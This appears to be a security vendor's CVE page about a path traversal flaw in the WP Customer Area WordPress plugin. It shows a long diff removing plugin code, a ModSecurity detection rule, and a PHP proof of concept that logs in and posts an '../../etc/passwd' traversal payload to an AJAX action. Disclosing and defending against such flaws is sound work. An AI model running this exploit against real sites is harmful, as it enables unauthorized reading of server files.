-        $file_contents = preg_replace("|^###([^#]+)#*?s*?n|im", '=$1=' . "n", $file_contents);
-        $file_contents = preg_replace("|^##([^#]+)#*?s*?n|im", '==$1==' . "n", $file_contents);
-        $file_contents = preg_replace("|^#([^#]+)#*?s*?n|im", '===$1===' . "n", $file_contents);
-
-        // === Plugin Name ===
-        // Must be the very first thing.
-        if ( !preg_match('|^===(.*)===|', $file_contents, $_name))
-        {
-            return array();
-        } // require a name
-        $name = trim($_name[1], '=');
-        $name = $this->sanitize_text($name);
-
-        $file_contents = $this->chop_string($file_contents, $_name[0]);
-
-
-        // Requires at least: 1.5
-        if (preg_match('|Requires at least:(.*)|i', $file_contents, $_requires_at_least))
-        {
-            $requires_at_least = $this->sanitize_text($_requires_at_least[1]);
-        }
-        else
-        {
-            $requires_at_least = null;
-        }
-
-
-        // Tested up to: 2.1
-        if (preg_match('|Tested up to:(.*)|i', $file_contents, $_tested_up_to))
-        {
-            $tested_up_to = $this->sanitize_text($_tested_up_to[1]);
-        }
-        else
-        {
-            $tested_up_to = null;
-        }
-
-
-        // Stable tag: 10.4-ride-the-fire-eagle-danger-day
-        if (preg_match('|Stable tag:(.*)|i', $file_contents, $_stable_tag))
-        {
-            $stable_tag = $this->sanitize_text($_stable_tag[1]);
-        }
-        else
-        {
-            $stable_tag = null;
-        } // we assume trunk, but don't set it here to tell the difference between specified trunk and default trunk
-
-
-        // Tags: some tag, another tag, we like tags
-        if (preg_match('|Tags:(.*)|i', $file_contents, $_tags))
-        {
-            $tags = preg_split('|,[s]*?|', trim($_tags[1]));
-            foreach (array_keys($tags) as $t)
-            {
-                $tags[$t] = $this->sanitize_text($tags[$t]);
-            }
-        }
-        else
-        {
-            $tags = array();
-        }
-
-
-        // Contributors: markjaquith, mdawaffe, zefrank
-        $contributors = array();
-        if (preg_match('|Contributors:(.*)|i', $file_contents, $_contributors))
-        {
-            $temp_contributors = preg_split('|,[s]*|', trim($_contributors[1]));
-            foreach (array_keys($temp_contributors) as $c)
-            {
-                $tmp_sanitized = $this->user_sanitize($temp_contributors[$c]);
-                if (strlen(trim($tmp_sanitized)) > 0)
-                {
-                    $contributors[$c] = $tmp_sanitized;
-                }
-                unset($tmp_sanitized);
-            }
-        }
-
-
-        // Donate Link: URL
-        if (preg_match('|Donate link:(.*)|i', $file_contents, $_donate_link))
-        {
-            $donate_link = esc_url($_donate_link[1]);
-        }
-        else
-        {
-            $donate_link = null;
-        }
-
-
-        // togs, conts, etc are optional and order shouldn't matter.  So we chop them only after we've grabbed their values.
-        foreach (array('tags', 'contributors', 'requires_at_least', 'tested_up_to', 'stable_tag', 'donate_link') as
-                 $chop)
-        {
-            if ($$chop)
-            {
-                $_chop = '_' . $chop;
-                $file_contents = $this->chop_string($file_contents, ${$_chop}[0]);
-            }
-        }
-
-        $file_contents = trim($file_contents);
-
-
-        // short-description fu
-        if ( !preg_match('/(^(.*?))^[s]*=+?[s]*.+?[s]*=+?/ms', $file_contents, $_short_description))
-        {
-            $_short_description = array(1 => &$file_contents, 2 => &$file_contents);
-        }
-        $short_desc_filtered = $this->sanitize_text($_short_description[2]);
-        $short_desc_length = strlen($short_desc_filtered);
-        $short_description = substr($short_desc_filtered, 0, 150);
-        if ($short_desc_length > strlen($short_description))
-        {
-            $truncated = true;
-        }
-        else
-        {
-            $truncated = false;
-        }
-        if ($_short_description[1])
-        {
-            $file_contents = $this->chop_string($file_contents, $_short_description[1]);
-        } // yes, the [1] is intentional
-
-        // == Section ==
-        // Break into sections
-        // $_sections[0] will be the title of the first section, $_sections[1] will be the content of the first section
-        // the array alternates from there:  title2, content2, title3, content3... and so forth
-        $_sections = preg_split('/^[s]*==[s]*(.+?)[s]*==/m', $file_contents, -1,
-            PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY);
-
-        $sections = array();
-        for ($i = 1; $i <= count($_sections); $i += 2)
-        {
-            $_sections[$i] = preg_replace('/^[s]*=[s]+(.+?)[s]+=/m', '<h4>$1</h4>', $_sections[$i]);
-            $_sections[$i] = $this->filter_text($_sections[$i], true);
-            $title = $this->sanitize_text($_sections[$i - 1]);
-            $sections[str_replace(' ', '_', strtolower($title))] = array(
-                'title' => $title, 'content' => $_sections[$i]
-            );
-        }
-
-
-        // Special sections
-        // This is where we nab our special sections, so we can enforce their order and treat them differently, if needed
-        // upgrade_notice is not a section, but parse it like it is for now
-        $final_sections = array();
-        foreach (array(
-                     'description', 'installation', 'frequently_asked_questions', 'screenshots', 'changelog',
-                     'change_log', 'upgrade_notice'
-                 ) as $special_section)
-        {
-            if (isset($sections[$special_section]))
-            {
-                $final_sections[$special_section] = $sections[$special_section]['content'];
-                unset($sections[$special_section]);
-            }
-        }
-        if (isset($final_sections['change_log']) && empty($final_sections['changelog']))
-        {
-            $final_sections['changelog'] = $final_sections['change_log'];
-        }
-
-
-        $final_screenshots = array();
-        if (isset($final_sections['screenshots']))
-        {
-            preg_match_all('|<li>(.*?)</li>|s', $final_sections['screenshots'], $screenshots, PREG_SET_ORDER);
-            if ($screenshots)
-            {
-                foreach ((array)$screenshots as $ss)
-                {
-                    $final_screenshots[] = $ss[1];
-                }
-            }
-        }
-
-        // Parse the upgrade_notice section specially:
-        // 1.0 => blah, 1.1 => fnord
-        if (isset($final_sections['upgrade_notice']))
-        {
-            $upgrade_notice = array();
-            $split = preg_split('#<h4>(.*?)</h4>#', $final_sections['upgrade_notice'], -1,
-                PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY);
-            $split_count = count($split);
-            for ($i = 0; $i < $split_count-1; $i += 2)
-            {
-                $upgrade_notice[$this->sanitize_text($split[$i])] = substr($this->sanitize_text($split[$i + 1]), 0,
-                    300);
-            }
-            unset($final_sections['upgrade_notice']);
-        }
-
-        // No description?
-        // No problem... we'll just fall back to the old style of description
-        // We'll even let you use markup this time!
-        $excerpt = false;
-        if ( !isset($final_sections['description']))
-        {
-            $final_sections = array_merge(array('description' => $this->filter_text($_short_description[2], true)),
-                $final_sections);
-            $excerpt = true;
-        }
-
-
-        // dump the non-special sections into $remaining_content
-        // their order will be determined by their original order in the readme.txt
-        $remaining_content = '';
-        foreach ($sections as $s_name => $s_data)
-        {
-            $remaining_content .= "n<h3>{$s_data['title']}</h3>n{$s_data['content']}";
-        }
-        $remaining_content = trim($remaining_content);
-
-
-        // All done!
-        // $r['tags'] and $r['contributors'] are simple arrays
-        // $r['sections'] is an array with named elements
-        $r = array(
-            'name'              => $name,
-            'tags'              => $tags,
-            'requires_at_least' => $requires_at_least,
-            'tested_up_to'      => $tested_up_to,
-            'stable_tag'        => $stable_tag,
-            'contributors'      => $contributors,
-            'donate_link'       => $donate_link,
-            'short_description' => $short_description,
-            'screenshots'       => $final_screenshots,
-            'is_excerpt'        => $excerpt,
-            'is_truncated'      => $truncated,
-            'sections'          => $final_sections,
-            'remaining_content' => $remaining_content,
-            'upgrade_notice'    => $upgrade_notice
-        );
-
-        return $r;
-    }
-
-    function chop_string($string, $chop)
-    { // chop a "prefix" from a string: Agressive! uses strstr not 0 === strpos
-        if ($_string = strstr($string, $chop))
-        {
-            $_string = substr($_string, strlen($chop));
-
-            return trim($_string);
-        }
-        else
-        {
-            return trim($string);
-        }
-    }
-
-    function user_sanitize($text, $strict = false)
-    { // whitelisted chars
-        if (function_exists('user_sanitize')) // bbPress native
-        {
-            return user_sanitize($text, $strict);
-        }
-
-        if ($strict)
-        {
-            $text = preg_replace('/[^a-z0-9-]/i', '', $text);
-            $text = preg_replace('|-+|', '-', $text);
-        }
-        else
-        {
-            $text = preg_replace('/[^a-z0-9_-]/i', '', $text);
-        }
-
-        return $text;
-    }
-
-    function sanitize_text($text)
-    { // not fancy
-        $text = strip_tags($text);
-        $text = esc_html($text);
-        $text = trim($text);
-
-        return $text;
-    }
-
-    function filter_text($text, $markdown = false)
-    { // fancy, Markdown
-        $text = trim($text);
-
-        $text = call_user_func(array(__CLASS__, 'code_trick'), $text,
-            $markdown); // A better parser than Markdown's for: backticks -> CODE
-
-        if ($markdown)
-        { // Parse markdown.
-            if ( !class_exists('Markdown'))
-            {
-                require(WORDPRESS_README_MARKDOWN);
-            }
-            $text = Markdown::defaultTransform($text);
-        }
-
-        $allowed = array(
-            'a'          => array(
-                'href'  => array(),
-                'title' => array(),
-                'rel'   => array()
-            ),
-            'blockquote' => array('cite' => array()),
-            'br'         => array(),
-            'p'          => array(),
-            'code'       => array(),
-            'pre'        => array(),
-            'em'         => array(),
-            'strong'     => array(),
-            'ul'         => array(),
-            'ol'         => array(),
-            'li'         => array(),
-            'h3'         => array(),
-            'h4'         => array()
-        );
-
-        $text = balanceTags($text);
-
-        $text = wp_kses($text, $allowed);
-        $text = trim($text);
-
-        return $text;
-    }
-
-    function code_trick($text, $markdown)
-    { // Don't use bbPress native function - it's incompatible with Markdown
-        // If doing markdown, first take any user formatted code blocks and turn them into backticks so that
-        // markdown will preserve things like underscores in code blocks
-        if ($markdown)
-        {
-            $text = preg_replace_callback("!(<pre><code>|<code>)(.*?)(</code></pre>|</code>)!s",
-                array(__CLASS__, 'decodeit'), $text);
-        }
-
-        $text = str_replace(array("rn", "r"), "n", $text);
-        if ( !$markdown)
-        {
-            // This gets the "inline" code blocks, but can't be used with Markdown.
-            $text = preg_replace_callback("|(`)(.*?)`|", array(__CLASS__, 'encodeit'), $text);
-            // This gets the "block level" code blocks and converts them to PRE CODE
-            $text = preg_replace_callback("!(^|n)`(.*?)`!s", array(__CLASS__, 'encodeit'), $text);
-        }
-        else
-        {
-            // Markdown can do inline code, we convert bbPress style block level code to Markdown style
-            $text = preg_replace_callback("!(^|n)([ t]*?)`(.*?)`!s", array(__CLASS__, 'indent'), $text);
-        }
-
-        return $text;
-    }
-
-    function indent($matches)
-    {
-        $text = $matches[3];
-        $text = preg_replace('|^|m', $matches[2] . '    ', $text);
-
-        return $matches[1] . $text;
-    }
-
-    function encodeit($matches)
-    {
-        if (function_exists('encodeit')) // bbPress native
-        {
-            return encodeit($matches);
-        }
-
-        $text = trim($matches[2]);
-        $text = htmlspecialchars($text, ENT_QUOTES);
-        $text = str_replace(array("rn", "r"), "n", $text);
-        $text = preg_replace("|nnn+|", "nn", $text);
-        $text = str_replace('&lt;', '<', $text);
-        $text = str_replace('&gt;', '>', $text);
-        $text = "<code>$text</code>";
-        if ("`" != $matches[1])
-        {
-            $text = "<pre>$text</pre>";
-        }
-
-        return $text;
-    }
-
-    function decodeit($matches)
-    {
-        if (function_exists('decodeit')) // bbPress native
-        {
-            return decodeit($matches);
-        }
-
-        $text = $matches[2];
-        $trans_table = array_flip(get_html_translation_table(HTML_ENTITIES));
-        $text = strtr($text, $trans_table);
-        $text = str_replace('<br />', '', $text);
-        $text = str_replace('&', '&', $text);
-        $text = str_replace(''', "'", $text);
-        if ('<pre><code>' == $matches[1])
-        {
-            $text = "n$textn";
-        }
-
-        return "`$text`";
-    }
-
-} // end class
-
-Class Automattic_Readme extends WordPress_Readme_Parser
-{
-}
 No newline at end of file
--- a/customer-area/trunk/libs/php/cuar/cuar_commons.php
+++ b/customer-area/trunk/libs/php/cuar/cuar_commons.php
@@ -1,96 +0,0 @@
-<?php
-
-defined('ABSPATH') or die('Nope, not accessing this');
-
-//======================================================================================================================
-// Some defines in case the main plugin is included later on
-
-if (!defined('CUAR_PLUGIN_DIR'))
-{
-    define('CUAR_PLUGIN_DIR', WP_PLUGIN_DIR . '/customer-area');
-    define('CUAR_INCLUDES_DIR', CUAR_PLUGIN_DIR . '/src/php');
-}
-
-//======================================================================================================================
-// If we are active and the main plugin is not (or not installed), output an error notice!
-
-if (!function_exists('cuar_is_main_plugin_missing'))
-{
-    /**
-     * Show a message to warn that the main plugin is either not installed or not activated
-     */
-    function cuar_add_missing_plugin_notice()
-    {
-        echo '<div class="error"><p>';
-        echo '<strong>Error: </strong>WP Customer Area add-ons are active but the main plugin is not installed!';
-        echo '</p></div>';
-    }
-
-    /**
-     * @return bool true if the main plugin is either not installed or not activated
-     */
-    function cuar_is_main_plugin_missing()
-    {
-        $is_missing = !file_exists(CUAR_PLUGIN_DIR . '/customer-area.php');
-        if ($is_missing)
-        {
-            add_action('admin_notices', 'cuar_add_missing_plugin_notice');
-        }
-        return $is_missing;
-    }
-}
-
-//======================================================================================================================
-// Check PHP version
-
-if (!function_exists('cuar_check_requirements'))
-{
-    function cuar_check_requirements()
-    {
-        $errors = [];
-
-        if (PHP_MAJOR_VERSION === 4 || (PHP_MAJOR_VERSION === 5 && PHP_MINOR_VERSION < 6))
-        {
-            $errors[] = 'WP Customer Area requires PHP 5.6 or 7.x';
-        }
-
-        if (version_compare((float)get_bloginfo('version'), '4.7', '<'))
-        {
-            $errors[] = 'WP Customer Area requires WordPress 4.7';
-        }
-
-        return $errors;
-    }
-
-    function cuar_self_deactivate()
-    {
-        deactivate_plugins(plugin_basename(CUAR_PLUGIN_DIR . '/customer-area.php'));
-    }
-
-    function cuar_requirements_admin_notice()
-    {
-        if (!current_user_can('activate_plugins')) return;
-
-        $messages = '<div class="error"><p><strong>WP Customer Area</strong> cannot be activated due to the following missing requirements:</p><ul>';
-        $missing_requirements = cuar_check_requirements();
-        foreach ($missing_requirements as $msg)
-        {
-            $messages .= "<li>$msg</li>";
-        }
-        $messages .= '</ul></div>';
-        echo $messages;
-
-        if (isset($_GET['activate']))
-        {
-            unset($_GET['activate']);
-        }
-    }
-
-    if (!empty(cuar_check_requirements()))
-    {
-        add_action('admin_init', 'cuar_self_deactivate');
-        add_action('admin_notices', 'cuar_requirements_admin_notice');
-    }
-}
-
-
--- a/customer-area/trunk/libs/php/vendor/autoload.php
+++ b/customer-area/trunk/libs/php/vendor/autoload.php
@@ -1,25 +0,0 @@
-<?php
-
-// autoload.php @generated by Composer
-
-if (PHP_VERSION_ID < 50600) {
-    if (!headers_sent()) {
-        header('HTTP/1.1 500 Internal Server Error');
-    }
-    $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
-    if (!ini_get('display_errors')) {
-        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
-            fwrite(STDERR, $err);
-        } elseif (!headers_sent()) {
-            echo $err;
-        }
-    }
-    trigger_error(
-        $err,
-        E_USER_ERROR
-    );
-}
-
-require_once __DIR__ . '/composer/autoload_real.php';
-
-return ComposerAutoloaderInit90b6ab515a580817434324b4f0c1fadf::getLoader();
--- a/customer-area/trunk/libs/php/vendor/composer/ClassLoader.php
+++ b/customer-area/trunk/libs/php/vendor/composer/ClassLoader.php
@@ -1,581 +0,0 @@
-<?php
-
-/*
- * This file is part of Composer.
- *
- * (c) Nils Adermann <naderman@naderman.de>
- *     Jordi Boggiano <j.boggiano@seld.be>
- *
- * For the full copyright and license information, please view the LICENSE
- * file that was distributed with this source code.
- */
-
-namespace ComposerAutoload;
-
-/**
- * ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
- *
- *     $loader = new ComposerAutoloadClassLoader();
- *
- *     // register classes with namespaces
- *     $loader->add('SymfonyComponent', __DIR__.'/component');
- *     $loader->add('Symfony',           __DIR__.'/framework');
- *
- *     // activate the autoloader
- *     $loader->register();
- *
- *     // to enable searching the include path (eg. for PEAR packages)
- *     $loader->setUseIncludePath(true);
- *
- * In this example, if you try to use a class in the SymfonyComponent
- * namespace or one of its children (SymfonyComponentConsole for instance),
- * the autoloader will first look for the class under the component/
- * directory, and it will then fallback to the framework/ directory if not
- * found before giving up.
- *
- * This class is loosely based on the Symfony UniversalClassLoader.
- *
- * @author Fabien Potencier <fabien@symfony.com>
- * @author Jordi Boggiano <j.boggiano@seld.be>
- * @see    https://www.php-fig.org/psr/psr-0/
- * @see    https://www.php-fig.org/psr/psr-4/
- */
-class ClassLoader
-{
-    /** @var Closure(string):void */
-    private static $includeFile;
-
-    /** @var ?string */
-    private $vendorDir;
-
-    // PSR-4
-    /**
-     * @var array[]
-     * @psalm-var array<string, array<string, int>>
-     */
-    private $prefixLengthsPsr4 = array();
-    /**
-     * @var array[]
-     * @psalm-var array<string, array<int, string>>
-     */
-    private $prefixDirsPsr4 = array();
-    /**
-     * @var array[]
-     * @psalm-var array<string, string>
-     */
-    private $fallbackDirsPsr4 = array();
-
-    // PSR-0
-    /**
-     * @var array[]
-     * @psalm-var array<string, array<string, string[]>>
-     */
-    private $prefixesPsr0 = array();
-    /**
-     * @var array[]
-     * @psalm-var array<string, string>
-     */
-    private $fallbackDirsPsr0 = array();
-
-    /** @var bool */
-    private $useIncludePath = false;
-
-    /**
-     * @var string[]
-     * @psalm-var array<string, string>
-     */
-    private $classMap = array();
-
-    /** @var bool */
-    private $classMapAuthoritative = false;
-
-    /**
-     * @var bool[]
-     * @psalm-var array<string, bool>
-     */
-    private $missingClasses = array();
-
-    /** @var ?string */
-    private $apcuPrefix;
-
-    /**
-     * @var self[]
-     */
-    private static $registeredLoaders = array();
-
-    /**
-     * @param ?string $vendorDir
-     */
-    public function __construct($vendorDir = null)
-    {
-        $this->vendorDir = $vendorDir;
-        self::initializeIncludeClosure();
-    }
-
-    /**
-     * @return string[]
-     */
-    public function getPrefixes()
-    {
-        if (!empty($this->prefixesPsr0)) {
-            return call_user_func_array('array_merge', array_values($this->prefixesPsr0));
-        }
-
-        return array();
-    }
-
-    /**
-     * @return array[]
-     * @psalm-return array<string, array<int, string>>
-     */
-    public function getPrefixesPsr4()
-    {
-        return $this->prefixDirsPsr4;
-    }
-
-    /**
-     * @return array[]
-     * @psalm-return array<string, string>
-     */
-    public function getFallbackDirs()
-    {
-        return $this->fallbackDirsPsr0;
-    }
-
-    /**
-     * @return array[]
-     * @psalm-return array<string, string>
-     */
-    public function getFallbackDirsPsr4()
-    {
-        return $this->fallbackDirsPsr4;
-    }
-
-    /**
-     * @return string[] Array of classname => path
-     * @psalm-return array<string, string>
-     */
-    public function getClassMap()
-    {
-        return $this->classMap;
-    }
-
-    /**
-     * @param string[] $classMap Class to filename map
-     * @psalm-param array<string, string> $classMap
-     *
-     * @return void
-     */
-    public function addClassMap(array $classMap)
-    {
-        if ($this->classMap) {
-            $this->classMap = array_merge($this->classMap, $classMap);
-        } else {
-            $this->classMap = $classMap;
-        }
-    }
-
-    /**
-     * Registers a set of PSR-0 directories for a given prefix, either
-     * appending or prepending to the ones previously set for this prefix.
-     *
-     * @param string          $prefix  The prefix
-     * @param string[]|string $paths   The PSR-0 root directories
-     * @param bool            $prepend Whether to prepend the directories
-     *
-     * @return void
-     */
-    public function add($prefix, $paths, $prepend = false)
-    {
-        if (!$prefix) {
-            if ($prepend) {
-                $this->fallbackDirsPsr0 = array_merge(
-                    (array) $paths,
-                    $this->fallbackDirsPsr0
-                );
-            } else {
-                $this->fallbackDirsPsr0 = array_merge(
-                    $this->fallbackDirsPsr0,
-                    (array) $paths
-                );
-            }
-
-            return;
-        }
-
-        $first = $prefix[0];
-        if (!isset($this->prefixesPsr0[$first][$prefix])) {
-            $this->prefixesPsr0[$first][$prefix] = (array) $paths;
-
-            return;
-        }
-        if ($prepend) {
-            $this->prefixesPsr0[$first][$prefix] = array_merge(
-                (array) $paths,
-                $this->prefixesPsr0[$first][$prefix]
-            );
-        } else {
-            $this->prefixesPsr0[$first][$prefix] = array_merge(
-                $this->prefixesPsr0[$first][$prefix],
-                (array) $paths
-            );
-        }
-    }
-
-    /**
-     * Registers a set of PSR-4 directories for a given namespace, either
-     * appending or prepending to the ones previously set for this namespace.
-     *
-     * @param string          $prefix  The prefix/namespace, with trailing '\'
-     * @param string[]|string $paths   The PSR-4 base directories
-     * @param bool            $prepend Whether to prepend the directories
-     *
-     * @throws InvalidArgumentException
-     *
-     * @return void
-     */
-    public function addPsr4($prefix, $paths, $prepend = false)
-    {
-        if (!$prefix) {
-            // Register directories for the root namespace.
-            if ($prepend) {
-                $this->fallbackDirsPsr4 = array_merge(
-                    (array) $paths,
-                    $this->fallbackDirsPsr4
-                );
-            } else {
-                $this->fallbackDirsPsr4 = array_merge(
-                    $this->fallbackDirsPsr4,
-                    (array) $paths
-                );
-            }
-        } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
-            // Register directories for a new namespace.
-            $length = strlen($prefix);
-            if ('\' !== $prefix[$length - 1]) {
-                throw new InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
-            }
-            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
-            $this->prefixDirsPsr4[$prefix] = (array) $paths;
-        } elseif ($prepend) {
-            // Prepend directories for an already registered namespace.
-            $this->prefixDirsPsr4[$prefix] = array_merge(
-                (array) $paths,
-                $this->prefixDirsPsr4[$prefix]
-            );
-        } else {
-            // Append directories for an already registered na

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@contains /wp-content/plugins/customer-area/" "id:20261994,phase:2,pass,log,msg:'CVE-2026-42661 WP Customer Area Path Traversal Attempt',block,chain"
SecRule ARGS "@rx ../" "t:normalizePath,t:urlDecode,chain"
SecRule REQUEST_URI "@rx .(php|html)$" ""

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-42661 - WP Customer Area <= 8.3.4 Path Traversal

<?php
// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress URL
$username = 'attacker'; // Change this to a valid username with Custom Level access or higher
$password = 'password'; // Change this to the user's password

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Authenticate with WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$login_response = curl_exec($ch);

if (strpos($login_response, 'Dashboard') === false && strpos($login_response, 'wp-admin') === false) {
    die("Login failed. Check credentials.n");
}

echo "[+] Login successful.n";

// Step 2: Obtain a nonce or direct access to trigger file copy
// The vulnerability requires accessing the private file handler
// This is typically done through an AJAX action or form submission
// For demonstration, we assume action 'cuar_copy_file_from_ftp' with a filename parameter

$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Craft the payload with path traversal sequence
$payload = array(
    'action' => 'cuar_copy_file_from_ftp', // Adjust action name if different
    'filename' => '../../../../../../etc/passwd', // Traversal to read system file
    'post_id' => 1, // Valid private post ID
    'extra' => 'ftp-copy'
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
$ajax_response = curl_exec($ch);

// Check for success indicators in response
if (strpos($ajax_response, 'success') !== false || strpos($ajax_response, 'error') === false) {
    echo "[+] Exploit attempt completed. Check the private file area for the copied file.n";
    echo "[+] Response: " . $ajax_response . "n";
} else {
    echo "[-] Exploit may have failed. Response: " . $ajax_response . "n";
}

curl_close($ch);
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School